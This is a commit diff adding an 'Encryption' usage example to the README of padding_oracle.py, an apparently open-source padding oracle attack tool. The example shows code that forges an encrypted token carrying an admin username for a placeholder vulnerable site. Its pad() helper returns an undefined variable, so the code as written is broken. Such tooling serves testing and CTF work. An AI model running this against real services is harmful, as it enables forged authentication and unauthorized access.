Updated README

added demonstration of encryption mode to README

Author: q3st1on

README.md

@@ -1,3 +1,4 @@
+
 # Padding Oracle Python Automation Script 
 
 ![python-package-badge](https://github.com/djosix/padding_oracle.py/actions/workflows/python-package.yml/badge.svg)
@@ -30,7 +31,7 @@ Performance of padding_oracle.py was evaluated using [0x09] Cathub Party from ED
 | 64              | 56s            |
 
 ## How to Use 
-
+### Decryption
 To illustrate the usage, consider an example of testing `https://vulnerable.website/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`:
 
 ```python
@@ -63,6 +64,42 @@ plaintext = padding_oracle(
     num_threads = 16,
 )
 ```
+### Encryption
+To illustrate the usage, consider an example of forging a token for`https://vulnerable.website/api/?token=<.....>`:
+
+```python
+from padding_oracle import padding_oracle, base64_encode, base64_decode
+import requests
+
+sess = requests.Session() # use connection pool
+url = 'https://vulnerable.website/api/'
+
+def oracle(ciphertext: bytes):
+    resp = sess.get(url, params={'token': base64_encode(ciphertext)})
+
+    if 'failed' in resp.text:
+        return False # e.g. token decryption failed
+    elif 'success' in resp.text:
+        return True
+    else:
+        raise RuntimeError('unexpected behavior')
+
+def pad(data: bytes, block_size=16):
+	pad_value = block_size - len(data) % block_size
+	return text + bytearray([pad_value for i in range(pad_value)])
+
+payload: bytes =b"{'username':'admin'}"
+payload = pad(payload)
+assert len(payload) % 16 == 0
+
+ciphertext = padding_oracle(
+    payload,
+    block_size = 16,
+    oracle = oracle,
+    num_threads = 16,
+    mode = 'encrypt'
+)
+```
 
 In addition, the package provides PHP-like encoding/decoding functions: